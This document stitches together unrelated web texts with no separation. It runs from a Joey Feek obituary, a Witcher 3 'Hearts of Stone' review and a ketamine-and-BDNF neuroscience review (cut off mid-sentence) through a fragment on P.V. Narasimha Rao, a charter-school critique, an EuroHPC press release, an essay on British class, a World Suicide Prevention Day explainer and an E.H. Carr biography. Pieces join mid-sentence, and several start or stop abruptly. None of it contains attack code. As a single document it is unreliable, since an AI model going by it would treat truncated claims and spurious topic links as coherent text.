Joey+Rory - Best Roots Gospel Album for “Hymns” at the 59th Grammy Awards (Photo: File / Handout)
“Some people live their whole life and never figure out what’s important,” said family friend Gloria Gaither. “Joey, more than anybody I know, recognizes what’s eternal in the moment and gives herself totally for that. … She learned in her short life to zero in, and some people live until they’re 85 and never learn what’s worth giving your life away for. I have to say thank you to her for reminding me and teaching me again that this moment is all we have.”
"My wife’s greatest dream came true today," her husband wrote on his blog Friday. "She is in Heaven. The cancer is gone, the pain has ceased and all her tears are dry. Joey is in the arms of her beloved brother Justin and using her pretty voice to sing for her savior. As we were gathered around her, holding hands and praying, my precious bride breathed her last (breath). And a moment later took her first breath on the other side."
Mrs. Feek is survived by husband Rory Feek; stepdaughters Heidi Caroline Feek and Sarah Hope Feek and daughter Indiana Boon Feek; parents Jack Martin and June Martin; and sisters Jody Martin, Julie Snyder and Jessie May; as well as many nieces and nephews. Her brother, Justin Martin, died in 1994.
She will have a private funeral service. In lieu of flowers a donation can be sent to: Joey and Indy at PO Box 5471 Vancouver, WA 98668.
Joey Feek and her daughter, Indiana, cuddle in bed in her hospital room. (Photo: Courtesy of Rory Feek)
Read or Share this story: http://tnne.ws/1oWAcFxEditor's note: While not going into specifics, this review does reveal some minor story details - so be warned if you want to go into Hearts of Stone completely fresh.
Hearts of Stone is the Witcher's 3 first proper DLC and it's a weird little beast. On one hand, it all but personifies what made the side quests in the core game so exemplary. The 10-hour campaign is stippled with irreverent humour, punctuated with sly pop-culture references, and bubbling over with ideas that other RPGs wouldn't even think about frolicking with. In its best moments, Hearts of Stone is hilarious and harrowing and hopeful, sometimes all at the same time.
In its worst moments, though?
It's okay. Not terrible, not unplayable and not something that would lace your tongue with the taste of arsenic. Just okay. More of the same, you could say. Far too much of the same, in fact. While Hearts of Stone tries its best to subvert expectations, it's also constrained by its nature. Much of it involves beating up people, beating up bosses, using your Witcher senses to locate people, and occasionally playing cards. If you're not willing to be enchanted by the narrative, you're really just getting more Witcher with your Witcher. (Which isn't necessarily a bad thing, but still.)
But let's put that aside for an instant. Let's talk about Hearts of Stone. What do you do here? It starts innocuously enough, with Geralt sullenly appraising a notice board bristling with menial quests. He makes a droll statement to someone nailing a new request on the wood, and is enticed with a new contract. Having nothing better to do, he goes to acquaint himself with one of the expansion's primary players: Olgierd von Everec.
No game does earthy quite as well as The Witcher 3, and Hearts of Stone is no exception.
Even from the beginning, CD Projekt makes it amply clear that Olgierd is, despite being an antagonistic force, someone to be empathized with. Despite keeping the company of extraordinarily earthy Wild Ones, he's also a connoisseur of sculptures. Despite having an artist's eye, he's willing to destroy works of art on whim. The list of dichotomous behaviors goes on. Within the first ten minutes, it's hammered home that Olgierd has facets and is, like most of the characters in The Witcher 3, a person of ambiguous moral standing.
Very ambiguous, as the case may be. Hearts of Stone, as was the case with The Witcher 3, is defined by its characters, and this expansion introduces some wonderful new acquaintances, such as Gaunter O'Dimm. Those who paid attention during The Witcher 3 will recognize the Man of Glass from the prologue sequence, although he's somewhat less innocuous here than when he was helping you locate Yennefer. Mysterious, potentially malevolent, and strangely genial, Gaunter quickly establishes himself as something of a trickster, an unimaginably powerful force behind a round face and a calm smile.
His early appearances are an absolute joy to witness. Gaunter neither flaunts his abilities nor does he shy from acknowledging their existence. Similarly, he simultaneously info-dumps while still withholding any meaningful data, a duality of natures that fluidly feeds into one another. There's a clear sense that our Master Mirror is dangerous, but at the same time, he's just so damn polite. This balance holds true up till the middle of the expansion when he starts becoming more stereotypically [REDACTED], but even then, he's always fun to encounter.
The supporting cast is equally delightful. Shani, for one, comes across as a professional with no time to waste on itinerant Witchers, a woman with neuroses and fears but also enough confidence to pursue her own desires, regardless of what her insecurities might say. And without giving away too much, there's a certain ghost in Hearts of Stone that absolutely steals the show.
Circumstances entrust you with the task of amusing him for a single night and you do, with all the reluctance you'd expect of Geralt, at first. He's our Witcher's polar opposite, boisterous and boastful, hopelessly rash and knowingly self-dramatic. He flirts outrageously and indulges in casual mischief with all the abandon of a teenager on summer vacation. Most of all, he affects a blatant love for life. It's a shockingly delightful inversion of the idea that spectres are tragic figures. Hearts of Stone's main revenant wastes absolutely no time at all moping about the past. He has one night to live, and by god, he's going to live it.
His quest chain, as a result, is arguably the best thing you're going to find in Hearts of Stone. For one, there's him. For another, it also does reasonably clever things with the existing ideas in The Witcher 3. You'll use his innate ability to track items to woo women, deploy Signs to make friends with household pets, and generally do all the things you'd expect a Witcher to do without properly hurting someone. What seals the quest line for me, though, is how perfectly this builds up into a genuinely affecting climax. (Won't spoil. Shan't spoil. Don't look at me that way.)
As for the other quests you find in Hearts of Stone, I'm slightly less enthused. There's a segment where you begin collecting characters for a high-risk heist. It's remarkably well-presented, a slightly camp Ocean's Eleven that nonetheless makes you eager to assemble your cast of villains. But it unfortunately flops at the delivery.
Perhaps Hearts of Stone's strongest suit is how it subverts some of what went before in Wild Hunt.
Here is my biggest beef with the expansion: it's far too reliant on cutscenes. Make no mistake, they're elegant performances, some of which might have you straining on the edge of your seat. But they're also that. Performances. Non-interactive sequences that require absolutely no input from you. And that's a shame, really, especially if you're pulling off a robbery and must carefully calculate your movements so you can slip between patrols, all the while alert to the possibility someone might ring the alarm. I'd really like to have been able to do that myself, but alas.
To repeat, Hearts of Stone's more pedestrian moments aren't terrible. Just okay. While a strong sense of missed opportunities pervades the experience, the DLC does also work to its strengths. Boss battles, for example, feel more strategic than ever. Running in and bashing one with your sword won't work. You'll want your Oils, your Signs, your ability to decipher telegraphs. Hearts of Stone seems to work on the assumption you've at least spent some amount of time with the main game, and even at normal difficulties, it's not shy to throw a curveball at you. (Tangentially related, apparently alcohol can have an adverse effect on romance scenes.)
So. Yay? Nay? Maybe? That depends on how much more The Witcher 3 you can take. If you're a fan, if you're keen for more content, if you're just not done with the world, the answer is: yes. Absolutely. Hearts of Stone probably won't do much but aggravate you if you had no appetite for the core game, but for others this is more of The Witcher 3 in all its imperfect glory.Abstract Molecular and cellular studies have demonstrated opposing actions of stress and antidepressant treatment on the expression of neurotrophic factors, particularly brain-derived neurotrophic factor, in limbic structures of the brain. These changes in neurotrophic factor expression and function result in structural alterations, including regulation of neurogenesis, dendrite length and spine density in hippocampus and prefrontal cortex (PFC). The deleterious effects of stress could contribute to the reduced volume of these brain regions in depressed patients. Conversely, the actions of antidepressant treatment could be mediated in part by blocking or reversing the atrophy caused by stress and depression. Recent studies have identified a novel, rapid-acting antidepressant, ketamine, in treatment-resistant depressed patients that addresses the limitations of currently available agents (i.e. delayed onset of action and low response rates). We have found that ketamine, an N-methyl-d-aspartate (NMDA) receptor antagonist, causes a rapid induction of synaptogenesis and spine formation in the PFC via stimulation of the mammalian target of the rapamycin signalling pathway and increased synthesis of synaptic proteins. These effects of ketamine rapidly reverse the atrophy of PFC neurons caused by chronic stress and correspond to rapid behavioural actions of ketamine in models of depression. Characterization of a novel signalling pathway also identifies new cellular targets that could result in rapid and efficacious antidepressant actions without the side effects of ketamine. Keywords: ketamine, stress, glutamate, rapamycin, mammalian target of rapamycin, spine
1. Introduction Depression is a widespread illness, affecting approximately 17 per cent of the population at some point in life, with tremendous personal and socioeconomic consequences [1]. The underlying causes of this heterogeneous illness as well as other mood disorders remain poorly understood. Moreover, the available pharmacological treatments for depression have significant limitations, including relatively low efficacy (i.e. approximately one-third of patients respond to the first agent prescribed), and time lag for treatment response (i.e. therapeutic effects are observed only after two to three weeks, and in many cases months of treatment) [2]. These limitations highlight a major unmet need for more efficacious and fast-acting antidepressant agents, particularly with the high rates of suicide in depressed subjects. Despite these problems, recent studies have begun to elucidate the neurobiology of depression as well as treatment response, and have identified novel agents that have the potential to provide more efficacious and rapid response rates. In this review, we provide a brief update on the role of neurotrophic factors in the aetiology and treatment of depression- and stress-related illnesses. Then, we discuss the cellular and behavioural consequences of altered neurotrophic factor signalling in response to stress and antidepressant treatments. In particular, new evidence demonstrating that novel, rapid-acting N-methyl-d-aspartate (NMDA) receptor antagonists increase synaptogenesis, and the mechanisms underlying this effect are discussed.
2. Neurobiology of depression: atrophy and loss of neurons Recent studies have begun to elucidate the pathophysiology of mood disorders, providing evidence for cell atrophy and loss in relevant limbic brain structures. Brain imaging studies demonstrate a reduction in the volume of limbic brain regions implicated in depression, notably the hippocampus and prefrontal cortex (PFC) [3,4]. Post-mortem studies report a reduction in the size of neurons and loss of glia [3,5], and preclinical studies show that exposure to repeated stress causes atrophy of neurons in the hippocampus and PFC, as well as loss of glia [6,7]. These studies provide strong evidence that atrophy and loss of neurons and glia are contributing factors to depression- and stress-related disorders. A role for neurotrophic factors in cell atrophy and loss is supported by evidence that stress or depression decreases the expression of certain factors in limbic brain regions. One of the most highly studied factors is brain-derived neurotrophic factor (BDNF). Exposure to different types of physical or social stress decreases levels of BDNF in the hippocampus and PFC in rodent models [6–8]. Post-mortem studies also demonstrate a reduction of BDNF in these regions in post-mortem brains of depressed subjects [6]. This work has led to studies of growth factors in blood, which demonstrate decreased levels of BDNF in serum of depressed patients and reversal with antidepressant treatment, suggesting that BDNF is a biomarker of depression and treatment response [9,10]. In contrast to stress and depression, antidepressant treatment increases the expression of BDNF in the hippocampus and PFC [6,8]. Upregulation of BDNF is observed after chronic, but not acute, administration of different classes of antidepressants, including 5-hydroxytryptamine (5-HT) and norepinephrine-selective reuptake inhibitors. There is also evidence that antidepressant treatment increases BDNF in post-mortem brains of subjects on antidepressants at the time of death, as well as increasing blood levels of patients as discussed earlier [6,9,10]. In addition to BDNF, other neurotrophic/growth factors have been implicated in depression, including vascular endothelial growth factor (VEGF), fibroblast growth factor 2 and insulin-like growth factor 1 (IGF-1). Some of these factors have been best known for their effects on peripheral tissues (e.g. VEGF and IGF-1), but they are also expressed in neurons and glia and influence brain function [6,11,12]. Stress and antidepressant treatments have opposing effects on the expression of these factors. Moreover, functional studies demonstrate that altered levels of these neurotrophic/growth factors result in consequences in behavioural models of depression. However, this review will focus primarily on BDNF.
3. A neurotrophic hypothesis of depression and treatment response Together, the preclinical and clinical gene expression and imaging studies support a neurotrophic hypothesis of depression and antidepressant response. This hypothesis proposes that depression results from decreased neurotrophic support, leading to neuronal atrophy, decreased hippocampal neurogenesis and loss of glia, and that antidepressant treatment blocks or reverses this neurotrophic factor deficit, and thereby reverses the atrophy and cell loss [6,13]. The neurotrophic hypothesis has been tested using various strategies for over-expression or knockdown of BDNF. These studies provide strong evidence that BDNF infusion is sufficient to produce an antidepressant response in behavioural models, and that BDNF is required for a response to antidepressant treatments [6,8]. However, there is much less evidence that BDNF depletion causes depressive behaviours. Most studies of BDNF-deletion mutant mice report normal behaviour in models of depression, with the exception that female conditional mutant mice show increased immobility in the forced swim test (FST) [14,15]. However, a recent study using RNA interference to knockdown BDNF expression in subregions of the hippocampus reports depressive behaviours in the forced swim and sucrose preference tests [16]. The discrepancy between these studies could be due to different knockdown approaches as well as behavioural methodology [16]. In addition, region-specific effects of BDNF (antidepressant effect in the hippocampus, but a pro-depressive effect in the nucleus accumbens) could influence behavioural outcomes particularly in mutant mouse models where knockout is global and not localized to a particular brain region [6,7]. (a) Brain-derived neurotrophic factor gene × environment interactions It is also important to consider the possibility that although BDNF depletion may not be sufficient to cause depressive behaviour it may result in a state of increased susceptibility. Recent basic research and clinical studies provide evidence for a BDNF gene × environment interaction. Heterozygous deletion mutant mice, which express approximately half the normal levels of BDNF, display normal behaviour under baseline conditions, but exhibit a depressive phenotype upon exposure to stress ([17] but see [18]). Advances in human genetics also provide a means to examine the influence of BDNF on susceptibility and resilience. A BDNF single nucleotide polymorphism, Val66Met, which decreases the processing and activity-dependent release of BDNF has been identified [19]. The BDNF Met allele is associated with reduced episodic memory and executive function, and decreased hippocampal volume in normal and depressed patients [19]. Although there is no direct association with depression, the BDNF Met allele increases vulnerability to develop depression in subjects exposed to early life stress or trauma [20–22]. Mutant mice with a knockin of the BDNF Met allele display increased anxiety in behavioural models and are unresponsive to antidepressant treatment [23].
4. Regulation of neurogenesis by stress and antidepressant treatment Alterations of BDNF, as well as other neurotrophic factors, indicate that stress and antidepressant treatment result in cellular changes, notably regulation of neurogenesis and complexity of neuronal processes (see below). A brief review of neurogenesis and a more extensive overview of recent studies of synaptogenic responses are provided. Birth of new neurons or neurogenesis continues to occur in selected neurogenic zones in the adult brain. This includes the subventricular zone that gives rise to olfactory bulb neurons, and the subgranular zone that generates granule cells of the hippocampal dentate gyrus. Similar to regulation of BDNF in the dentate gyrus, stress and antidepressant treatments exert opposing effects on neurogenesis in the adult hippocampus ( ). Different types of acute or chronic physical and social stress decrease neurogenesis, |
a request for setting up a Trust named after him, for which she promised all support, and he followed it up a month later."She was very, very concerned (keen to support the proposal). She explained she had a good relation with him (PV Narasimha Rao) and how her husband (Rajiv Gandhi) was close to him and how she was close to him," Mr Subhash said.But he said after the two meetings, Sonia Gandhi never gave appointment to him, adding, "some people may have corrupted her mind"."That's very, very unfortunate. May be other forces around her took control," Mr Subhash said.He said Mr Rao deserved to be conferred with the Bharat Ratna. The governments of Andhra Pradesh and Telangana have sent a proposal in this regard to the Centre, he said, expressing hope that the country's highest civilian honour would be bestowed on his grandfather in future.Charter schools have become a fetish of both Democratic and Republican political establishments, but local news reports continue to drip, drip a constant stream of stories of charter schools doing bad stuff that our tax dollars fund.
An independent news outlet in New Orleans, where the school district is nearly 100 percent charter, reports that two homeless children were kept out of class for a month because they didn’t have monogrammed uniforms.
In Oakland, California, a state-based news outlet reports charter school enrollment practices ensure charter schools get an advantage over district schools when academic performance comparisons are made. The advantage comes from charters being able to enroll students who are more “academically prepared” than students who attend district-run schools.
Oakland charters, when compared to public schools, also tend to enroll fewer students with special needs and fewer students who enter the school year late and are, thus, often academically behind.
In Arizona, which has a higher percentage of students enrolled in charter schools than any other state, the demographic characteristics of charter school students don’t resemble anything close to what characterize public schools in the state. According to a state based news outlet, “enrollment data show the schools don’t match the school-age demographics of the state and, in many cases, their neighborhoods. White – and especially Asian – students attend charter schools at a higher rate than Hispanics, who now make up the greatest portion of Arizona’s school-age population.”
In Florida, local newspapers tell of an operator of a chain of charter schools who is charged with racketeering in a scheme to use public education money from the charter operation for his own personal gain.
The charter operator allegedly used more than $1 million for “personal expenses and to purchase residential and business properties.” The charges include falsely marking up bills for school supplies, inflating student enrollments in grant applications, spending public funds on companies affiliated with the owner, and using school money to pay for plastic surgery and cruises and trips to the Caribbean, Europe, and Asia.
Next up, a Philadelphia news outlet reports a charter school, unable to pay employee and other expenses due to a dispute with the district over $370,578 in missed payments to the teacher pension system, simply closed shop over the weekend. It’s unclear how parents would have found out about the closure, and teachers weren’t told until late Monday afternoon, in an email, that students would not be returning.
In Michigan, a charter school recently closed before the school year ended because of a dispute over $640,000 owed to the financial firm supporting the school. Even though the school is closing, it will still get state school aid payments through August.
A news report from Arkansas tells of a charter school that has been in operation for nine years and has never met proficiency standards established by the state.
And here’s a California charter school chain that “misappropriated public funds, including a tax-exempt bond totaling $67 million” and “failed to disclose numerous conflict-of-interest relationships.” The charter operator was able to divert $2.7 million of public charter school funds without any supporting documents. Eight different entities the charter operator was associated with benefited from doing business with the schools.
Public schools are occasionally plagued with similar scandals, but there is an important distinction to be made from public school scandals and what happens in the charter school industry.
As University of Connecticut professor Preston Green explains to me in an email, much of the malfeasance of charter schools comes from the entities that manage them. Called education management organizations (EMOs) or charter management organizations (CMOs), these outfits “create an agency issue with charter school governing boards that generally does not occur in traditional public schools,” Green explains.
“Public schools do not sign over operations to EMOS,” Green states. “By contrast, EMOs operate 35-40 percent of all charter schools.” And while nonprofit boards governing charters may want to ensure their schools are operating in a fiscally sound manner, the EMOs running the show “have the incentive to increase their revenues or cut expenses,” says Green.
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Those incentives can lead to numerous bad acts including engaging in conflicts of interest or cherry picking students.
Where is the regulatory function that could intervene in these cases and ensure public tax money is being appropriately spent?
In the case of the NOLA charter impeding the education of homeless students, a federal law requiring schools to accommodate homeless students was the basis for any grievances. But the state’s charter school regulations consider such treatment of students a breach of contract that warrants the school to only provide the students with the opportunity for make-up work or tutoring. In other words, the consequences are more of a burden for the student than they are for the school.
In the case of the Oakland charters gaining an edge over public schools because of their enrollment practices, the report that outs the malfeasance notes that state “revenue policies” incentivize charter schools’ bad behavior.
Charter school closings like we see occurring in Florida, Pennsylvania, and elsewhere are a feature of charter schools, not a bug. An analysis by the National Education Association finds that “among charter schools that opened in the year 2000, 5 percent closed within the first year, 21 percent closed within the first five years, and 33 percent closed within the first ten years.”
Charter school scandals of the sort we see in Florida and California have become routine occurrences, yet a national organization that ranks state laws governing the charter industry rates Florida in the top ten of its annual assessment of states with the best charter school laws. And efforts to rein in the abuses committed by California charters have been routinely turned back by the state’s governor, Jerry Brown, who started two charter schools in Oakland.
As for that Arkansas charter school that was able to stay in business despite poor performance, the school has “powerful friends,” according to the reporter. “The Walton Family Foundation, [the charity operated by the heirs of the Walmart fortune,] provided cash infusion to fix [the school’s] red-ink-bathed books. The money was passed through an opaque, unaccountable charter management corporation,” and lobbyists in the state legislature “put the cherry on this hot mess sundae” in support of the school.
Whenever I write a post about charter school malfeasance like this I get accused of writing “screeds” that cherry pick negative anecdotes. But these news reports I cite above occurred within just the past two weeks.
Carol Burris, an award-winning former public school principal and the current executive director of the Network for Public Education, writes in a piece for the Washington Post, “Proponents of charter schools promised that in exchange for freedom from regulations, charters would be more accountable and held to higher standards. Twenty-five years later, however, we find that freedom from the safeguards that regulations provide has too often resulted in theft, mismanagement, fraud, and less transparency.”
The freedom granted to charters to hire third party contractors like EMOs is proving to be especially problematic.
“EMOs have taken advantage of poorly trained governing boards” Green explains, “and the lack of coordination between governing boards and authorizing bodies” ends up benefiting the interests of charter management groups “at the expense of charter schools” themselves and the students who attend them.
I have been reporting the bad stuff done by charter schools since 2009. Most recently, my reporting on the shadowy business of the charter school industry was cited by media watchdog Project Censored as one of the top 25 most under-reported news stories of 2016.
This is the second time I’ve won this award. The first time was for a piece in 2014 on charter schools that Salon published.
When do you think the malfeasance committed by charters won’t be “under reported”?Mariya Gabriel, European Commissioner for Digital Economy and Society said:
I am very pleased to welcome Bulgaria in this bold European initiative. High-performance computing is pervasive in our daily lives: from personalised medicine to weather forecast, cybersecurity and to cars and planes simulation and design. Access to HPC resources is essential for public and private users. As no Member State has the capacity to develop such computing power quickly and on their own, strong cooperation and support at European level is a must.
Krasimir Valchev, Minister of Education and Science, added:
According to the Bulgarian National Strategy for Research Development 2017-2030, Bulgaria should in a short term modernize its research system to ensure that the needs of the Bulgarian scientific community, the Bulgarian industry and the Bulgarian citizens are met. By signing this Declaration, Bulgaria joins the club of the Member States engaged in digitizing Europe with the help of high-performance computing power. This is a step in the right direction for our country, which will help us to further develop our research, innovation and industrial potential.
The EuroHPC declaration was launched and signed by seven Member States in Rome in March 2017 (see the press statement, speech and blog post by Vice-President Ansip). Two other countries signed it in June and July 2017. The objective of this declaration is the establishment of a joint cooperation framework between the signatories countries to acquire and deploy an integrated supercomputing infrastructure capable of at least 1018 calculations per second (so-called exascale computers). The countries have agreed to work together to develop a world-class HPC ecosystem based on European technology and relying on energy-efficient computing via low-power chips. The aim is to have EU exascale supercomputers in the global top three by 2022.
Top class HPC infrastructure and services will then be available to support a wide range of users: scientific communities, large industry and SMEs, as well as the public sector. The HPC initiative will also support the European Open Science Cloud (EOSC) and will allow millions of our researchers to share and analyse data in a trusted environment across technologies, disciplines and borders. Ultimately, such European world-class HPC infrastructure will boost scientific leadership, industry competitiveness and EU's innovation capacity to meet societal and scientific challenges.
Next steps
The European Commission, together with countries who have signed the declaration are preparing, by the end of 2017, a roadmap with implementation milestones to deploy the European exascale supercomputing infrastructure.
Switzerland is expected to be the next country to join the European effort on 20 October 2017. All other Member States are encouraged to join EuroHPC and work together, and with the European Commission, in this initiative.As Britain becomes more global, it also becomes more regional — Scottish independence, London as the great sucking black hole of talent and money — and small differences, and ancient rules and distinctions, seem to matter more in a country that, as the old cliché goes, has lost an empire and still not found a role.
The pettiness is particularly vivid in a Britain that, if it were Greece to America’s Rome, as Harold Macmillan once said, is no longer even that. If Washington cares what Britain thinks, it doesn’t do much to show it. The unjustly powerful and hopelessly middle-brow United States, of course, remains a British obsession, blamed for everything from “American Idol” and Black Friday to Internet porn and obesity, as if the pub, Christmas sales, soggy fries and the full British breakfast (bready sausage, bacon, baked beans, eggs and bread fried in fat) were all imports from the old colony, where every person, Britons seem convinced, packs at least a pistol, if not a submachine gun.
This is a Britain ever more unequal but uneasy about snobbery and “poshness,” where to be middle class of a certain sort (actually upper class but graciously self-deprecating) seems the ideal. Just look at Prince William, marrying the graceful daughter of a couple who made a fortune selling party favors, cooing over baby George like a family in a sitcom.
Mr. Mellor, of course, with the snobbery of the striver, went to a selective state school, not one of England’s elite schools, attended by Prime Minister David Cameron; the chancellor of the Exchequer, George Osborne; and Mr. Mitchell himself. The elite, of course, do their best not to appear so, even if they dominate the country. As Toby Young warned in The Spectator magazine, “being perceived as upper class in contemporary Britain is the kiss of death, and not just in politics.”
The more unequal Britain becomes, he said, “the less we want to talk about it.” Britain is a nation of “inverted snobs,” because to claim one cares about class “is, in itself, a low-class indicator.”
All of which made Mr. Mellor even more ridiculous, reminding many of the apocryphal story of another outraged politician who demanded of a policeman, “Do you know who I am?” The policeman then radioed in, asking for an ambulance, saying, “There’s some old toff here who doesn’t know his name.”
Of course Britons of a certain kind remain marked by the experiences and humiliations of their adolescence. It’s difficult to think of another country where every time personages are in the news, let alone when they die, they are classified by the school they attended as a prepubescent youngster.World Suicide Prevention Day is observed on September 10 each year to promote worldwide action to prevent suicides. Various events and activities are held during this occasion to raise awareness that suicide is a major preventable cause of premature death.
What do people do?
World Suicide Prevention Day gives organizations, government agencies and individuals a chance to promote awareness about suicide, mental illnesses associated with suicide, as well as suicide prevention. Organizations such as the International Association for Suicide Prevention (IASP) and World Health Organization (WHO) play a key role in promoting this event.
Events and activities for World Suicide Prevention Day include:
The launch of new government initiatives to prevent suicide.
Conferences, open days, educational seminars or public lectures.
Media programs promoting suicide awareness and prevention.
Memorial services or candlelight ceremonies to remember those who died from suicide.
Organizing cultural or spiritual events, fairs or exhibitions.
Launches of publications about suicide awareness and prevention.
Training courses about suicide and depression awareness.
Many of these initiatives are celebrated in various countries worldwide. Some of these events and activities are held at a local level, while others are nation-wide. Many communities around the world reaffirm their commitment to suicide prevention on World Suicide Prevention Day.
Background
Nearly 3000 people on average commit suicide daily, according to WHO. For every person who completes a suicide, 20 or more may attempt to end their lives. About one million people die by suicide each year. Suicide is a major preventable cause of premature death which is influenced by psycho-social, cultural and environmental risk factors that can be prevented through worldwide responses that address these main risk factors. There is strong evidence indicating that adequate prevention can reduce suicide rates.
World Suicide Prevention Day, which first started in 2003, is annually held on September 10 each year as an IASP initiative. WHO co-sponsors this event. World Suicide Prevention Day aims to:
Raise awareness that suicide is preventable.
Improve education about suicide.
Spread information about suicide awareness.
Decrease stigmatization regarding suicide.
WHO and IASP work with governments and other partners to ensure that suicide is no longer stigmatized, criminalized or penalized. WHO’s role is to build political action and leadership to develop national responses to prevent suicide, strengthen national planning capacity to establish the core building blocks of such a national response, and build the national capacities to implement these responses.For other people named Edward Carr, see Edward Carr (disambiguation)
Edward Hallett "Ted" Carr CBE FBA (28 June 1892 – 3 November 1982) was an English Marxist historian, diplomat, journalist and international relations theorist, and an opponent of empiricism within historiography.
Carr was best known for his 14-volume pro-Soviet history of the Soviet Union from 1917 to 1929, for his writings on international relations, particularly The Twenty Years' Crisis, and for his book What Is History?, in which he laid out historiographical principles rejecting traditional historical methods and practices.
Educated at the Merchant Taylors' School, London, and at Trinity College, Cambridge, Carr began his career as a diplomat in 1916; three years later, he participated at the Paris Peace Conference as a member of the British delegation. Becoming increasingly preoccupied with the study of international relations and of the Soviet Union, he resigned from the Foreign Office in 1936 to begin an academic career. From 1941 to 1946, Carr worked as an assistant editor at The Times, where he was noted for his leaders (editorials) urging a socialist system and an Anglo-Soviet alliance as the basis of a post-war order. Afterwards, Carr worked on a massive 14-volume work on Soviet history entitled A History of Soviet Russia, a project that he was still engaged on at the time of his death in 1982. In 1961, he delivered the G. M. Trevelyan lectures at the University of Cambridge that became the basis of his book, What Is History? Moving increasingly towards the left throughout his career, Carr saw his role as the theorist who would work out the basis of a new international order.
Early life [ edit ]
Carr was born in London to a middle-class family, and was educated at the Merchant Taylors' School in London, and Trinity College, Cambridge, where he was awarded a First Class Degree in Classics in 1916.[1][2] Carr's family had originated in northern England, and the first mention of his ancestors was a George Carr who served as the Sheriff of Newcastle in 1450.[2] Carr's parents were Francis Parker and Jesse (née Hallet) Carr.[2] They were initially Conservatives, but went over to supporting the Liberals in 1903 over the free trade issue.[2] When Joseph Chamberlain proclaimed his opposition to free trade and announced in favour of Imperial Preference, Carr's father, for whom all tariffs were abhorrent, changed his political loyalties.[2]
Carr described the atmosphere at the Merchant Taylors School: "95% of my school fellows came from orthodox Conservative homes, and regarded Lloyd George as an incarnation of the devil. We Liberals were a tiny despised minority."[3] From his parents, Carr inherited a strong belief in progress as an unstoppable force in world affairs, and throughout his life a recurring theme in Carr's thinking was that the world was progressively becoming a better place.[4] In 1911, Carr won the Craven Scholarship to attend Trinity College at Cambridge.[2] At Cambridge, Carr was much impressed by hearing one of his professors lecture on how the Greco-Persian Wars influenced Herodotus in the writing of the Histories.[5] Carr found this to be a great discovery—the subjectivity of the historian's craft. This discovery was later to influence his 1961 book What Is History?.[5]
Diplomatic career [ edit ]
Like many of his generation, Carr found World War I to be a shattering experience as it destroyed the world he knew before 1914.[4] He joined the British Foreign Office in 1916, resigning in 1936.[1] Carr was excused from military service for medical reasons.[4] Carr was at first assigned to the Contraband Department of the Foreign Office, which sought to enforce the blockade on Germany, and then in 1917 was assigned to the Northern Department, which amongst other areas dealt with relations with Russia.[2]
As a diplomat, Carr was later praised by the Foreign Secretary Lord Halifax as someone who had "distinguished himself not only by sound learning and political understanding, but also in administrative ability".[6] At first, Carr knew nothing about the Bolsheviks. Carr later recalled: "I had some vague impression of the revolutionary views of Lenin and Trotsky, but knew nothing of Marxism; I'd probably never heard of Marx".[7] By 1919, Carr had become convinced that the Bolsheviks were destined to win the Russian Civil War, and approved of the Prime Minister David Lloyd George's opposition to the anti-Bolshevik ideas of the War Secretary Winston Churchill on the grounds of realpolitik.[7] Carr was to later to write that in the spring of 1919 he "was disappointed when he [Lloyd George] gave way (in part) on the Russian question in order to buy French consent to concessions to Germany on Upper Silesia, Danzig and reparations"[8]
In 1919, Carr was part of the British delegation at the Paris Peace Conference and was involved in the drafting of parts of the Treaty of Versailles relating to the League of Nations.[1] During the conference, Carr was much offended at the Allied, especially French, treatment of the Germans, writing that the German delegation at the peace conference were "cheated over the "Fourteen Points", and subjected to every petty humiliation".[7] Beside working on the sections of the Versailles treaty relating to the League of Nations, Carr was also involved in working out the borders between Germany and the newly reborn state of Poland. Initially, Carr favoured Poland, urging in a memo in February 1919 that Britain recognise Poland at once, and that the German city of Danzig (modern Gdańsk, Poland) be ceded to Poland.[9] In March 1919, Carr fought against the idea of a Minorities Treaty for Poland, arguing that the rights of ethnic and religious minorities in Poland would be best guaranteed by not involving the international community in Polish internal affairs.[10] By the spring of 1919, Carr's relations with the Polish delegation had declined to a state of mutual hostility.[11]
Carr's tendency to favour the claims of the Germans at the expense of the Poles led the British historian Adam Zamoyski to note that Carr "held views of the most extraordinary racial arrogance on all of the nations of Eastern Europe".[12] Carr's biographer, Jonathan Haslam, wrote in a 2000 essay that Carr grew up in a place where German culture was deeply appreciated, which in turn always coloured Carr's views towards Germany throughout his life.[13] As a result, Carr supported the territorial claims of the Reich against Poland. In a letter written in 1954 to his friend, Isaac Deutscher, Carr described his attitude to Poland at the time: "The picture of Poland that was universal in Eastern Europe right down to 1925 was of a strong and potentially predatory power".[11]
After the peace conference, Carr was stationed at the British Embassy in Paris until 1921, and in 1920 was awarded a CBE.[2] At first, Carr had great faith in the League, which he believed would prevent both another world war and ensure a better post-war world.[4] In the 1920s, Carr was assigned to the branch of the British Foreign Office that dealt with the League of Nations before being sent to the British Embassy in Riga, Latvia, where he served as Second Secretary between 1925 and 1929.[1] In 1925, Carr married Anne Ward Howe, by whom he had one son.[14]
During his time in Riga (which at that time possessed a substantial Russian émigré community), Carr became increasingly fascinated with Russian literature and culture and wrote several works on various aspects of Russian life.[1] Carr learnt Russian during his time in Riga to read Russian writers in the original.[15] In 1927, Carr paid his first visit to Moscow.[2] Carr was later to write that reading Alexander Herzen, Fyodor Dostoyevsky and the work of other 19th-century Russian intellectuals caused him to re-think his liberal views.[16]:80 Starting in 1929, Carr began to review books relating to all things Russian and Soviet and to international relations in several British literary journals and later towards the end of his life, the London Review of Books.[17] In particular, Carr emerged as the Times Literary Supplement's Soviet expert in the early 1930s, a position he still held at the time of his death in 1982[18] Because of his status as a diplomat (until 1936), most of Carr's reviews in the period 1929–36 were published either anonymously or under the pseudonym "John Hallett".[17] In the summer of 1929, Carr began work on a biography of the Russian writer Fyodor Dostoyevsky, during which the course of researching Dostoevsky's life, Carr befriended Prince D. S. Mirsky, a Russian émigré scholar living at that time in Britain.[19] Beside studies on international relations, Carr's writings in the 1930s included biographies of Fyodor Dostoyevsky (1931), Karl Marx (1934), and Mikhail Bakunin (1937). An early sign of Carr's increasing admiration of the Soviet Union was a 1929 review of Baron Pyotr Wrangel's memoirs.[20]
